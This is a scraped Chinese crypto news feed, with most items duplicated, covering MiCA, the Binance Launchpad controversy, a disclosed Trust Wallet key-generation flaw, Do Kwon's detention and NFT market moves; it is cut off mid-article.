    PANews 4月22日消息，针对多家机构否认投资OPNX一事，OPNX在推特上回应称：“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 此前消息，DRW、Nascent、MIAX和Susquehanna等多家公司否认投资OPNX  ( 1 min )
    香港金管局副总裁陈维民：正进行以数字人民币作为跨境支付工具的测试
    PANews 4月22日消息，据财联社报道，香港金融管理局副总裁陈维民在论坛上表示，人民银行与香港金管局正合作，在香港以数字人民币作为跨境支付工具的测试，提升跨境支付服务效率和用户体验，未来相信可为两地居民在大湾区跨境生活、旅游、零售消费等提供多一个安全、便捷和创新的选项。  ( 1 min )
    香港金管局副总裁陈维民：正进行以数字人民币作为跨境支付工具的测试
    PANews 4月22日消息，据财联社报道，香港金融管理局副总裁陈维民在论坛上表示，人民银行与香港金管局正合作，在香港以数字人民币作为跨境支付工具的测试，提升跨境支付服务效率和用户体验，未来相信可为两地居民在大湾区跨境生活、旅游、零售消费等提供多一个安全、便捷和创新的选项。  ( 1 min )
    欧洲议会批准MiCA法规，全球加密监管模板来了？
    作者：Mary Liu 当地时间4 月 20 日，欧盟立法者投票通过了加密资产市场 (MiCA：Markets in Crypto-Assets) 法案，这使欧盟成为世界上第一个引入全面加密法的主要司法管辖区。欧盟在一份声明中表示，它希望新法律将成为其他司法管辖区的“全球标准制定者”。 欧盟理事会将于 5 月 16 日进行正式投票，最终确定为法律。欧洲金融服务专员 Mairead McGuinness 表示，她预计该立法将在欧盟 27 个成员国正式批准后于 7 月生效，具体条款将逐步实施，例如，管理稳定币的规则将从 2024 年 7 月开始适用，而其他要求要到 2025 年 1 月才会执行。 币安首席执行官赵长鹏发推文评论道：“欧洲议会投票支持实施 MiCA。这意味着世界上最大的市场之一正在引入量身定制的加密法规，以保护用户和支持创新。细节很重要，但总体而言，我们认为这是应对我们共同面临的挑战的务实解决方案。对于在欧盟运营的加密货币交易所，现在有明确的游戏规则。我们已准备好在未来 12-18 个月内对我们的业务进行调整，以使其完全合规”。 欧盟议会在声明中表示，新规则将对加密平台、代币发行方和交易商提出一些关于透明度、披露、授权和交易监督的要求，加密平台将被要求告知消费者与其运营相关的风险，同时新代币的销售也将受到监管，公司将面临更高的披露标准，包括为所提供的每项资产准备一份详细的白皮书。 此外，MiCA 将要求任何在欧盟提供加密相关服务的公司在欧盟的一个成员国获得注册，然后允许他们在整个欧盟开展业务。欧洲银行管理局和欧洲证券与市场管理局(ESMA)将负责确保加密平台遵守规则，包括拥有充分的风险管理和治理流程，以避免再次出现类似 FTX 的事件。 USDC 等稳定币将需要保持充足的储备，以满足大规模提款时的赎回请求，规模过大的稳定币也面临每天 2 亿欧元（2.2 亿美元）的交易限制。 对用户来说，最大的变化之一是该法案允许追踪超过 1,000 欧元（1,097.55 美元）的交易，从自托管钱包到集中式钱包，例如托管在加密货币交易所的钱包，这个规定的目的是帮助打击洗钱活动，要求服务平台筛选、记录和传达有关发送方和接收方的信息。这些规则不适用于点对点转账或不涉及中心化钱包的转账。 MiCA 还解决了围绕加密的环境问题，公司需要披露其能源消耗以及数字资产对环境的影响。这是立法者从早期草案中取消对工作量证明机制的全面禁令后采取的妥协举措。 快美国一步，欧盟会成为其他国家监管的标杆吗？ 比推此前报道，MiCA 于 2020 年首次提出，与美国的执法代替监管相比，受到了加密业内人士的欢呼。欧洲中央银行行长 Christine Lagarde 也是 MiCA 的重要支持者，但由于该法案没有涉及加密借贷、去中心化金融（DEFI）和非同质代币（NFT），在 Luna、FTX、Celsius 和 Voyager 等项目内爆后，Lagarde 呼吁建议在新法律的基础上制定“MiCA II”。 PitchBook 数据显示，欧洲一直在从美国手中夺取加密风险投资的市场份额，风投对欧洲加密项目的投资在上个季度迅速增加。 美国的加密公司一直在寻求海外扩张，以应对本国严格的监管举措。加密货币交易所 Coinbase 和 Kraken 最近在都柏林获得了虚拟资产服务提供商许可证。区块链公司 Ripple 正在寻求爱尔兰中央银行的许可。 本周早些时候，Coinbase 首席执行官 Brian Armstrong 表示，该公司准备与美国证券交易委员会（SEC）进行“长达数年”的法律斗争。如果美国监管不清晰的状况持续下去，那么 Coinbase 将考虑在海外进行更多投资的选择，包括搬离美国。 企业区块链公司R3首席经济学家Alisa DiCaprio 评论称，欧盟范围内统一的监管框架可能会使欧盟对数字资产公司更具吸引力，并迫使其他司法管辖区效仿。DiCaprio表示：“如果英国和美国等其他司法管辖区不迅速效仿并进一步加快其加密货币监管工作，那将是一个‘惊喜’”。 批评人士表示，强制交易所向当局提供每笔交易的发件人和收件人信息，并对发送超过 1,000 欧元（1,097 美元）的自托管钱包进行特别审查，这破坏了加密的匿名性。 还有一些人担心 MiCA 可能给公司带来行政负担，公司有一两年的时间来消化具体条款。Coinbase 业务发展副总裁 Nana Murugesan 对彭博社表示，MiCA 的漫长修改和延迟实施导致加密公司处于“过渡期”，他们需要在多个欧盟国家寻求许可，直到通行证生效。 MiCA没有提供 NFT 和 DeFi 业务的监管清晰度。比特币托管机构 Xapo Bank 公共事务主管Joey Garcia表示，虽然他欢迎提高数字资产服务提供商的标准，但担心 MiCA 会过于严格地管理资产类别。他写道：“这对 DeFi 整合和跨链有何影响？同样，虽然虚拟资产在新类别中的分类也具有建设性和前瞻性，但规则是否真正符合行业？” Forefront Advisers 的董事总经理兼数字资产主管Dea Markova 发文称，欧盟委员会将 MiCA 设置为将代币发行人作为实体进行监管，而不是将代币交易作为活动进行监管。也就是说，无论其代币如何使用，要求都是针对发行人的，这限制了 MiCA 的前瞻性。 大部分加密行业高管表示，欧盟新规尽管存在不足，但好过白纸一张，美国最近对多个头部参与者采取执法行动，立法迟迟无法推进。数字资产交易所 LCX 创始人 Monty Metzger 在推文中评论称，MiCA 表明美国和亚洲在加密监管方面的落后：“像美国那样的执法监管不是解决办法，我们需要规则和指导方针来让技术创新发生。”  ( 2 min )
    欧洲议会批准MiCA法规，全球加密监管模板来了？
    作者：Mary Liu 当地时间4 月 20 日，欧盟立法者投票通过了加密资产市场 (MiCA：Markets in Crypto-Assets) 法案，这使欧盟成为世界上第一个引入全面加密法的主要司法管辖区。欧盟在一份声明中表示，它希望新法律将成为其他司法管辖区的“全球标准制定者”。 欧盟理事会将于 5 月 16 日进行正式投票，最终确定为法律。欧洲金融服务专员 Mairead McGuinness 表示，她预计该立法将在欧盟 27 个成员国正式批准后于 7 月生效，具体条款将逐步实施，例如，管理稳定币的规则将从 2024 年 7 月开始适用，而其他要求要到 2025 年 1 月才会执行。 币安首席执行官赵长鹏发推文评论道：“欧洲议会投票支持实施 MiCA。这意味着世界上最大的市场之一正在引入量身定制的加密法规，以保护用户和支持创新。细节很重要，但总体而言，我们认为这是应对我们共同面临的挑战的务实解决方案。对于在欧盟运营的加密货币交易所，现在有明确的游戏规则。我们已准备好在未来 12-18 个月内对我们的业务进行调整，以使其完全合规”。 欧盟议会在声明中表示，新规则将对加密平台、代币发行方和交易商提出一些关于透明度、披露、授权和交易监督的要求，加密平台将被要求告知消费者与其运营相关的风险，同时新代币的销售也将受到监管，公司将面临更高的披露标准，包括为所提供的每项资产准备一份详细的白皮书。 此外，MiCA 将要求任何在欧盟提供加密相关服务的公司在欧盟的一个成员国获得注册，然后允许他们在整个欧盟开展业务。欧洲银行管理局和欧洲证券与市场管理局(ESMA)将负责确保加密平台遵守规则，包括拥有充分的风险管理和治理流程，以避免再次出现类似 FTX 的事件。 USDC 等稳定币将需要保持充足的储备，以满足大规模提款时的赎回请求，规模过大的稳定币也面临每天 2 亿欧元（2.2 亿美元）的交易限制。 对用户来说，最大的变化之一是该法案允许追踪超过 1,000 欧元（1,097.55 美元）的交易，从自托管钱包到集中式钱包，例如托管在加密货币交易所的钱包，这个规定的目的是帮助打击洗钱活动，要求服务平台筛选、记录和传达有关发送方和接收方的信息。这些规则不适用于点对点转账或不涉及中心化钱包的转账。 MiCA 还解决了围绕加密的环境问题，公司需要披露其能源消耗以及数字资产对环境的影响。这是立法者从早期草案中取消对工作量证明机制的全面禁令后采取的妥协举措。 快美国一步，欧盟会成为其他国家监管的标杆吗？ 比推此前报道，MiCA 于 2020 年首次提出，与美国的执法代替监管相比，受到了加密业内人士的欢呼。欧洲中央银行行长 Christine Lagarde 也是 MiCA 的重要支持者，但由于该法案没有涉及加密借贷、去中心化金融（DEFI）和非同质代币（NFT），在 Luna、FTX、Celsius 和 Voyager 等项目内爆后，Lagarde 呼吁建议在新法律的基础上制定“MiCA II”。 PitchBook 数据显示，欧洲一直在从美国手中夺取加密风险投资的市场份额，风投对欧洲加密项目的投资在上个季度迅速增加。 美国的加密公司一直在寻求海外扩张，以应对本国严格的监管举措。加密货币交易所 Coinbase 和 Kraken 最近在都柏林获得了虚拟资产服务提供商许可证。区块链公司 Ripple 正在寻求爱尔兰中央银行的许可。 本周早些时候，Coinbase 首席执行官 Brian Armstrong 表示，该公司准备与美国证券交易委员会（SEC）进行“长达数年”的法律斗争。如果美国监管不清晰的状况持续下去，那么 Coinbase 将考虑在海外进行更多投资的选择，包括搬离美国。 企业区块链公司R3首席经济学家Alisa DiCaprio 评论称，欧盟范围内统一的监管框架可能会使欧盟对数字资产公司更具吸引力，并迫使其他司法管辖区效仿。DiCaprio表示：“如果英国和美国等其他司法管辖区不迅速效仿并进一步加快其加密货币监管工作，那将是一个‘惊喜’”。 批评人士表示，强制交易所向当局提供每笔交易的发件人和收件人信息，并对发送超过 1,000 欧元（1,097 美元）的自托管钱包进行特别审查，这破坏了加密的匿名性。 还有一些人担心 MiCA 可能给公司带来行政负担，公司有一两年的时间来消化具体条款。Coinbase 业务发展副总裁 Nana Murugesan 对彭博社表示，MiCA 的漫长修改和延迟实施导致加密公司处于“过渡期”，他们需要在多个欧盟国家寻求许可，直到通行证生效。 MiCA没有提供 NFT 和 DeFi 业务的监管清晰度。比特币托管机构 Xapo Bank 公共事务主管Joey Garcia表示，虽然他欢迎提高数字资产服务提供商的标准，但担心 MiCA 会过于严格地管理资产类别。他写道：“这对 DeFi 整合和跨链有何影响？同样，虽然虚拟资产在新类别中的分类也具有建设性和前瞻性，但规则是否真正符合行业？” Forefront Advisers 的董事总经理兼数字资产主管Dea Markova 发文称，欧盟委员会将 MiCA 设置为将代币发行人作为实体进行监管，而不是将代币交易作为活动进行监管。也就是说，无论其代币如何使用，要求都是针对发行人的，这限制了 MiCA 的前瞻性。 大部分加密行业高管表示，欧盟新规尽管存在不足，但好过白纸一张，美国最近对多个头部参与者采取执法行动，立法迟迟无法推进。数字资产交易所 LCX 创始人 Monty Metzger 在推文中评论称，MiCA 表明美国和亚洲在加密监管方面的落后：“像美国那样的执法监管不是解决办法，我们需要规则和指导方针来让技术创新发生。”  ( 2 min )
    慢雾余弦：用Trust Wallet浏览器扩展并在去年11月14日至23日期间创建的钱包存在私钥被破解风险
    PANews 4月22日消息，慢雾创始人余弦发推表示，如果用了Trust Wallet浏览器扩展且在 2022年11月14日至23日期间创建了钱包，那么这个钱包就存在风险。本质原因是当时Trust Wallet浏览器扩展使用的MT19937伪随机数生成器没有提供足够的随机性，导致私钥可以被破解。 目前Trust Wallet已披露该风险，所幸损失小。 Trust Wallet称，事件发生后，Trust Wallet迅速修补了漏洞，所有在这些日期之后创建的地址都是安全的。不过，Trust Wallet仍然检测到两起攻击，攻击共造成了约17万美元的损失。对此，Trust Wallet将补偿因漏洞导致的黑客攻击而造成的符合条件的损失，并为受影响的用户创建了补偿流程。目前受影响地址剩余的总余额约为8.8万美元。Trust Wallet敦促受影响的用户尽快转移资金。避免使用他人提供的地址。  ( 1 min )
    慢雾余弦：用Trust Wallet浏览器扩展并在去年11月14日至23日期间创建的钱包存在私钥被破解风险
    PANews 4月22日消息，慢雾创始人余弦发推表示，如果用了Trust Wallet浏览器扩展且在 2022年11月14日至23日期间创建了钱包，那么这个钱包就存在风险。本质原因是当时Trust Wallet浏览器扩展使用的MT19937伪随机数生成器没有提供足够的随机性，导致私钥可以被破解。 目前Trust Wallet已披露该风险，所幸损失小。 Trust Wallet称，事件发生后，Trust Wallet迅速修补了漏洞，所有在这些日期之后创建的地址都是安全的。不过，Trust Wallet仍然检测到两起攻击，攻击共造成了约17万美元的损失。对此，Trust Wallet将补偿因漏洞导致的黑客攻击而造成的符合条件的损失，并为受影响的用户创建了补偿流程。目前受影响地址剩余的总余额约为8.8万美元。Trust Wallet敦促受影响的用户尽快转移资金。避免使用他人提供的地址。  ( 1 min )
    数据：以太坊Layer2网络总锁仓量降至95.5亿美元
    PANews 4月22日消息，据L2BEAT数据显示，以太坊Layer2网络当前总锁仓量为95.5亿美元，7日降幅为9.03%。其中，Arbitrum One网络总锁仓量为64.2亿美元，占比达66.99%；Optimism网络总锁仓量为19.4亿美元，占比达20.31%；dYdX网络总锁仓量为3.38亿美元，占比达3.54%。  ( 1 min )
    数据：以太坊Layer2网络总锁仓量降至95.5亿美元
    PANews 4月22日消息，据L2BEAT数据显示，以太坊Layer2网络当前总锁仓量为95.5亿美元，7日降幅为9.03%。其中，Arbitrum One网络总锁仓量为64.2亿美元，占比达66.99%；Optimism网络总锁仓量为19.4亿美元，占比达20.31%；dYdX网络总锁仓量为3.38亿美元，占比达3.54%。  ( 1 min )
    币安Launchpad上新惹争议：标准何在？原因为何？
    作者：flowie，ChainCatcher 昨天下午，币安宣布即将上线 Launchpad 项目Open Campus（EDU）后，迅速引发争议。 要知道币安自称Launchpad 项目上线前需要经过一段时间的严格背调，而过往的30个Launchpad 项目基本都有不错的用户基础和知名度。相比之下，Open Campus 可谓“凭空出世”，3 月份注册官方推特、项目域名；4 月份才正式发布第一条推文。 从币安发布的研究报告的介绍来看，Open Campus 是一种Web3 教育协议，允许社区创建、拥有和推广他们希望在世界上看到的内容，并使教育工作者能够赚取收入并因其贡献而获得认可。一方面，社区可以利用区块链技术来资助、共同拥有和学习适合他们需要的教育内容；另一方面，创作者通过出版商 NFT 获得推广服务，在 Open Campus 上发布他们的内容，联合出版商可以根据他们的贡献赚取收入；此外，慈善家可以直接支持教育事业，并通过智能捐赠在链上跟踪他们的捐赠。 而 Open Campus 正在推出一个可扩展的基础设施，以加入多样化的采用者生态系统（学校、教育技术公司和其他教育提供商），作为将全球数十亿教育工作者和学习者带入 Web3 的潜在门户： 入口：代币将通过钱包、代币作为支付方式以及折扣/激励措施等各种方式引入开放校园采用者（例如 TinyTap）的用户，以推动采用。 出版商 NFT：教育内容可以标记为 NFT。内容产生的收入将存储在智能合约中，共同所有者将能够根据他们的贡献（例如，创建内容的教师、营销和本地化的出版商）提取收入。 市场：由 Open Campus 采纳者（例如 TinyTap）发行的发布者 NFT 可以在 EDU 中买卖。 智能捐赠：使 EDU 助学金和奖学金能够根据可衡量的链上事件发放。 数据方面，Open Campus 项目在 2022 年的一轮私人代币销售中筹集了 600 万美元，占 EDU 代币总供应量的 6%，FDV 约为 1 亿美元。截至 2023 年 4 月 21 日，EDU总供应量为 1,000,000,000 枚，上市后流通量为 145,000,000 枚（占代币总供应量的14.5%）。 无论是从项目概念和数据上，似乎都很难找到 Open Campus 的亮点所在。面对质疑，Open Campus 官推也回应称，“尽管该账号是新注册的，但这不是一个新项目”。 从Open Campus 的回应和不少加密人士的爆料来看，Open Campus的背后团队实则就是TinyTap，币安的报告中也提到了Open Campus 协议的第一个采用者为TinyTap，并用大量篇幅对其进行了介绍。 TinyTap 刚刚不久前也宣布采用 EDU 代币为 TinyTap 平台代币，似乎坐实了这一猜测。 相比于 Open Campus 的“横空出世”，TinyTap 则有一定的发展年头，其成立于 2012年，是一家 UGC 教育技术公司，提供无代码平台，旨在使教育工作者能够创建和分发交互式教育内容，同时获得基于使用的收入份额。 官网上，TinyTap 号称拥有世界上最大的教育工作者制作的游戏库，面向 2 到 8 岁的孩子，而且TinyTap 披露的运营数据也颇为可观。 而更为重要的是，TinyTap 是 Animoca Brands 的子公司，去年6 月份，Animoca Brands 宣布已收购 TinyTap 80.45%的已发行资本，对价为3887.5万美元现金和股票。Animoca Brands 目前持有 TinyTap 84.13%的股份。 此后，Animoca Brands 还联合 TinyTap 推出教育相关代币 Publisher NFTs。Animoca Brands董事长Yat Siu还为此发推称，教育工作者可以通过Publisher NFT为其课程提供发布权，并分享平台订阅模式的收入，或者在其他平台上推广Publisher NFT，他们将获得最高80%的营销和出版工作所产生的收入。 今年年初Animoca Brands还帮助TinyTap平台上的12位老师发行了NFT，持有这些NFT可以享受老师课程盈利的分红，彼时NFT 价格在10ETH以上。 值得一提的是，币安上线 Launchpad 项目 Open Campus（EDU）前一天。The Sandbox 宣布与Open Campus 达成合作，将在 Web3 中提供沉浸式教育。同时，Open Campus 将收购 The Sandbox 中的 LAND，以建立一个新的教育主题区域，用户可在完成课程的同时解锁游戏任务。 币安报告中提到的合作伙伴中Sandbox、Highstreet 、Hooked、TinyTap等，都是 Animoca Brands 旗下项目或者币安 Launchpad 项目，关系紧密。正因为如此，币安此次操作也被很多人视为“内幕”、“做局”行为，有违其作为头部交易所的公正性。 除了用户吐槽外，项目方似乎也怨言已久。即将发售代币的明星公链Sui 的社区 Sui World在币安今日的Launchpad 风波过后，发布了“为什么SUI没上币安（Launchpad）?”一文，围绕“Launchpad 产品规则、排他协议、不得上线永续合约做空” “控诉” 币安 Launchpad的“霸王条款”。 争议之外，此次币安的 Launchpad 也被视为联手 Animoca Brands 在造教育风口。 今年初赵长鹏发布了币安 2023 年规划的重点三个方向，排在首位的就是教育。加密研究员@jason_chen998分析，“交易所的本质其实就是流量生意，交易所是最迫切能够让下一个 10 亿人进入的，Web3 的教育普及是交易所生意来源的重要渠道。” 而前文提到 Open Campus 背后的 TinyTap 自2012年运营，不仅有完备的产品，还拥有扎实的用户基础。TinyTap 为什么需要套一个新项目”Open Campus“的壳，@jason_chen998 指出或许是因为TinyTap 产品面向的是 2-8岁这个敏感的年龄段。 币安对于教育的发力，已让不少加密投资者开始关注教育板块，教育或许成为今年 Web3一个不可忽视的风口。  ( 3 min )
    币安Launchpad上新惹争议：标准何在？原因为何？
    作者：flowie，ChainCatcher 昨天下午，币安宣布即将上线 Launchpad 项目Open Campus（EDU）后，迅速引发争议。 要知道币安自称Launchpad 项目上线前需要经过一段时间的严格背调，而过往的30个Launchpad 项目基本都有不错的用户基础和知名度。相比之下，Open Campus 可谓“凭空出世”，3 月份注册官方推特、项目域名；4 月份才正式发布第一条推文。 从币安发布的研究报告的介绍来看，Open Campus 是一种Web3 教育协议，允许社区创建、拥有和推广他们希望在世界上看到的内容，并使教育工作者能够赚取收入并因其贡献而获得认可。一方面，社区可以利用区块链技术来资助、共同拥有和学习适合他们需要的教育内容；另一方面，创作者通过出版商 NFT 获得推广服务，在 Open Campus 上发布他们的内容，联合出版商可以根据他们的贡献赚取收入；此外，慈善家可以直接支持教育事业，并通过智能捐赠在链上跟踪他们的捐赠。 而 Open Campus 正在推出一个可扩展的基础设施，以加入多样化的采用者生态系统（学校、教育技术公司和其他教育提供商），作为将全球数十亿教育工作者和学习者带入 Web3 的潜在门户： 入口：代币将通过钱包、代币作为支付方式以及折扣/激励措施等各种方式引入开放校园采用者（例如 TinyTap）的用户，以推动采用。 出版商 NFT：教育内容可以标记为 NFT。内容产生的收入将存储在智能合约中，共同所有者将能够根据他们的贡献（例如，创建内容的教师、营销和本地化的出版商）提取收入。 市场：由 Open Campus 采纳者（例如 TinyTap）发行的发布者 NFT 可以在 EDU 中买卖。 智能捐赠：使 EDU 助学金和奖学金能够根据可衡量的链上事件发放。 数据方面，Open Campus 项目在 2022 年的一轮私人代币销售中筹集了 600 万美元，占 EDU 代币总供应量的 6%，FDV 约为 1 亿美元。截至 2023 年 4 月 21 日，EDU总供应量为 1,000,000,000 枚，上市后流通量为 145,000,000 枚（占代币总供应量的14.5%）。 无论是从项目概念和数据上，似乎都很难找到 Open Campus 的亮点所在。面对质疑，Open Campus 官推也回应称，“尽管该账号是新注册的，但这不是一个新项目”。 从Open Campus 的回应和不少加密人士的爆料来看，Open Campus的背后团队实则就是TinyTap，币安的报告中也提到了Open Campus 协议的第一个采用者为TinyTap，并用大量篇幅对其进行了介绍。 TinyTap 刚刚不久前也宣布采用 EDU 代币为 TinyTap 平台代币，似乎坐实了这一猜测。 相比于 Open Campus 的“横空出世”，TinyTap 则有一定的发展年头，其成立于 2012年，是一家 UGC 教育技术公司，提供无代码平台，旨在使教育工作者能够创建和分发交互式教育内容，同时获得基于使用的收入份额。 官网上，TinyTap 号称拥有世界上最大的教育工作者制作的游戏库，面向 2 到 8 岁的孩子，而且TinyTap 披露的运营数据也颇为可观。 而更为重要的是，TinyTap 是 Animoca Brands 的子公司，去年6 月份，Animoca Brands 宣布已收购 TinyTap 80.45%的已发行资本，对价为3887.5万美元现金和股票。Animoca Brands 目前持有 TinyTap 84.13%的股份。 此后，Animoca Brands 还联合 TinyTap 推出教育相关代币 Publisher NFTs。Animoca Brands董事长Yat Siu还为此发推称，教育工作者可以通过Publisher NFT为其课程提供发布权，并分享平台订阅模式的收入，或者在其他平台上推广Publisher NFT，他们将获得最高80%的营销和出版工作所产生的收入。 今年年初Animoca Brands还帮助TinyTap平台上的12位老师发行了NFT，持有这些NFT可以享受老师课程盈利的分红，彼时NFT 价格在10ETH以上。 值得一提的是，币安上线 Launchpad 项目 Open Campus（EDU）前一天。The Sandbox 宣布与Open Campus 达成合作，将在 Web3 中提供沉浸式教育。同时，Open Campus 将收购 The Sandbox 中的 LAND，以建立一个新的教育主题区域，用户可在完成课程的同时解锁游戏任务。 币安报告中提到的合作伙伴中Sandbox、Highstreet 、Hooked、TinyTap等，都是 Animoca Brands 旗下项目或者币安 Launchpad 项目，关系紧密。正因为如此，币安此次操作也被很多人视为“内幕”、“做局”行为，有违其作为头部交易所的公正性。 除了用户吐槽外，项目方似乎也怨言已久。即将发售代币的明星公链Sui 的社区 Sui World在币安今日的Launchpad 风波过后，发布了“为什么SUI没上币安（Launchpad）?”一文，围绕“Launchpad 产品规则、排他协议、不得上线永续合约做空” “控诉” 币安 Launchpad的“霸王条款”。 争议之外，此次币安的 Launchpad 也被视为联手 Animoca Brands 在造教育风口。 今年初赵长鹏发布了币安 2023 年规划的重点三个方向，排在首位的就是教育。加密研究员@jason_chen998分析，“交易所的本质其实就是流量生意，交易所是最迫切能够让下一个 10 亿人进入的，Web3 的教育普及是交易所生意来源的重要渠道。” 而前文提到 Open Campus 背后的 TinyTap 自2012年运营，不仅有完备的产品，还拥有扎实的用户基础。TinyTap 为什么需要套一个新项目”Open Campus“的壳，@jason_chen998 指出或许是因为TinyTap 产品面向的是 2-8岁这个敏感的年龄段。 币安对于教育的发力，已让不少加密投资者开始关注教育板块，教育或许成为今年 Web3一个不可忽视的风口。  ( 3 min )
    报告：韩国中央银行在金融监管机构放弃反对后，获得对虚拟资产实体进行调查的权利
    PANews 4月22日消息，据News.Bitcoin报道，韩国金融服务委员会 (FSC) 放弃反对中央银行获得“请求数据提交权”后，韩国中央银行将被授予调查虚拟资产的权利。根据当地报道，FSC的决定是在韩国议会政治事务委员会的一个小组委员会指责该监管机构寻求让自己成为虚拟资产的唯一监管机构几周后做出的。据报告显示，FSC决定放弃其要求之际，有消息称韩国国民议会将继续制定计划，将韩国中央银行请求数据的权利纳入《虚拟资产法》。在最终同意央行的要求之前，FSC与韩国中央银行多次就两家机构中的哪一家应该监管支付结算发生冲突。另一方面，中央银行坚持被授予调查数字资产的权利，因为虚拟资产市场产生的风险最终会威胁到金融稳定。  ( 1 min )
    报告：韩国中央银行在金融监管机构放弃反对后，获得对虚拟资产实体进行调查的权利
    PANews 4月22日消息，据News.Bitcoin报道，韩国金融服务委员会 (FSC) 放弃反对中央银行获得“请求数据提交权”后，韩国中央银行将被授予调查虚拟资产的权利。根据当地报道，FSC的决定是在韩国议会政治事务委员会的一个小组委员会指责该监管机构寻求让自己成为虚拟资产的唯一监管机构几周后做出的。据报告显示，FSC决定放弃其要求之际，有消息称韩国国民议会将继续制定计划，将韩国中央银行请求数据的权利纳入《虚拟资产法》。在最终同意央行的要求之前，FSC与韩国中央银行多次就两家机构中的哪一家应该监管支付结算发生冲突。另一方面，中央银行坚持被授予调查数字资产的权利，因为虚拟资产市场产生的风险最终会威胁到金融稳定。  ( 1 min )
    黑山法院批准延长对Do Kwon的拘留期限
    PANews 4月22日消息，据金十报道，黑山波德戈里察法院周五在其网站上称，该法院以弃保潜逃风险为由，批准延长对韩国加密货币企业家、Terraform Labs 联合创始人Do Kwon及该公司首席财务官Han Chang-joon的拘留期限。 此前消息，黑山检察官起诉Do Kwon伪造公文罪，并要求延长对Do Kwon的拘留期限  ( 1 min )
    黑山法院批准延长对Do Kwon的拘留期限
    PANews 4月22日消息，据金十报道，黑山波德戈里察法院周五在其网站上称，该法院以弃保潜逃风险为由，批准延长对韩国加密货币企业家、Terraform Labs 联合创始人Do Kwon及该公司首席财务官Han Chang-joon的拘留期限。 此前消息，黑山检察官起诉Do Kwon伪造公文罪，并要求延长对Do Kwon的拘留期限  ( 1 min )
    Blur创始人：接受挂单价功能已启用，将向受影响的交易者予以退款补偿
    PANews 4月22日消息，Blur创始人Pacman发推表示，北京时间4月22日11:00左右，Blur在消息处理中检测到一个错误，该错误影响了过去 80 小时内取消的一些出价。在检测到错误后，团队立即禁用接受挂单价功能。在30分钟的时间里，有36个受影响的挂单价被接受。目前Blur修复了这个问题，并在北京时间4月22日14:05启用挂单价功能。在启用接受挂单价之前，任何高于地板价的当前挂单价都将被自动取消。 除了修复导致这一问题的漏洞外，团队还实施了两个额外的冗余安全检查，以确保此问题不会再次发生。所有受影响的挂单价被接受的交易者将被获得其出价与当时适当的最高出价之间差价的2倍退款。例如，如果最高出价是14.5ETH，而受影响的挂单价以15.5ETH 被接受，Blur将退还2ETH。受影响的交易者无需出售其NFT即可获得退款。Blur将在接下来的24小时内自动发送。 此前消息，Blur现已禁用“接受挂单价”功能，以应对“历史挂单仍自动执行”漏洞  ( 1 min )
    Blur创始人：接受挂单价功能已启用，将向受影响的交易者予以退款补偿
    PANews 4月22日消息，Blur创始人Pacman发推表示，北京时间4月22日11:00左右，Blur在消息处理中检测到一个错误，该错误影响了过去 80 小时内取消的一些出价。在检测到错误后，团队立即禁用接受挂单价功能。在30分钟的时间里，有36个受影响的挂单价被接受。目前Blur修复了这个问题，并在北京时间4月22日14:05启用挂单价功能。在启用接受挂单价之前，任何高于地板价的当前挂单价都将被自动取消。 除了修复导致这一问题的漏洞外，团队还实施了两个额外的冗余安全检查，以确保此问题不会再次发生。所有受影响的挂单价被接受的交易者将被获得其出价与当时适当的最高出价之间差价的2倍退款。例如，如果最高出价是14.5ETH，而受影响的挂单价以15.5ETH 被接受，Blur将退还2ETH。受影响的交易者无需出售其NFT即可获得退款。Blur将在接下来的24小时内自动发送。 此前消息，Blur现已禁用“接受挂单价”功能，以应对“历史挂单仍自动执行”漏洞  ( 1 min )
    CZ向马斯克提议：可添加“加密货币付费评论”选项以减少机器人并增收
    PANews 4月22日消息，CZ在推特上回复Elon Musk时表示：“另一种减少机器人和增加收入的方法是添加一个选项‘你不关注的人需要支付0.X美元才能发表评论’。机器人由此会变得昂贵，并且可以通过加密货币轻松实现。Twitter可以抽成，增加收入。（如果真的实现这项功能）我会把所得全部捐给慈善机构。”  ( 1 min )
    CZ向马斯克提议：可添加“加密货币付费评论”选项以减少机器人并增收
    PANews 4月22日消息，CZ在推特上回复Elon Musk时表示：“另一种减少机器人和增加收入的方法是添加一个选项‘你不关注的人需要支付0.X美元才能发表评论’。机器人由此会变得昂贵，并且可以通过加密货币轻松实现。Twitter可以抽成，增加收入。（如果真的实现这项功能）我会把所得全部捐给慈善机构。”  ( 1 min )
    CZ：有人试图购买我关注的帐户并发行模因币，目前已取消关注
    PANews 4月22日消息，币安创始人CZ发推表示：此前曾随机关注了一些为Binance社区做出贡献的积极人士，但现在有人试图购买我关注的这些帐户，然后发行模因币。目前已取消关注并阻止了他们。 告诫用户不要关注这些模因代币，注意风险。  ( 1 min )
    CZ：有人试图购买我关注的帐户并发行模因币，目前已取消关注
    PANews 4月22日消息，币安创始人CZ发推表示：此前曾随机关注了一些为Binance社区做出贡献的积极人士，但现在有人试图购买我关注的这些帐户，然后发行模因币。目前已取消关注并阻止了他们。 告诫用户不要关注这些模因代币，注意风险。  ( 1 min )
    Azuki逆势大涨的背后：与传统平台B站、Line Friends的跨界互动
    原文：《频频联手 B 站、Line Friends 等大 IP，Azuki 能否破解 NFT 增长困局？》 作者：西柚，ChainCatcher 近期，NFT市场负面消息多于正面。先是NFT龙头项目Bored Ape Yacht Club（BAYC）系列的地板价被指出已跌至52.59ETH达五个月内最低点；后有最早两位NFT OG玩家“Franklin”、“麻吉大哥黄立成”在近期相继宣布退圈，让本就寒冷的NFT市场更加雪上加霜。 不过，Azuki在二级市场的表现似乎不受这些利空消息影响，地板价、交易量似乎都在逆流而上，交易量及活跃度多次超越BAYC。 根据CryptoSlam数据显示，近7日内，Azuki交易量为1037万美元排名第二，与排名第一的BAYC（交易量为1266万）相差不到100万，甚至在多次24小时内交易量超越了BAYC，排名第一。且Azuki系列NFT地板价也在稳步上涨中，近7日涨幅约为21%，如今为15.89ETH（约为3万美元）。 Azuki近期为何有这样优异表现？ 我们或许可以从Azuki地板价变化趋势看出端倪。4月12日，Azuki宣布与IP公司Line Friends合作打造Beanz NFT IP，而Azuki和Beanz NFT地板价在这前后出现了大幅上涨。 Azuki与Line Friends的合作可谓是重大利好，可以帮助其NFT出圈、提高品牌知名度。但也有用户担心会不会步入B站合作后尘，后期会不了了之。 4月12日，Azuki宣布其开发商Chiru Labs已与韩国知名IP公司Line 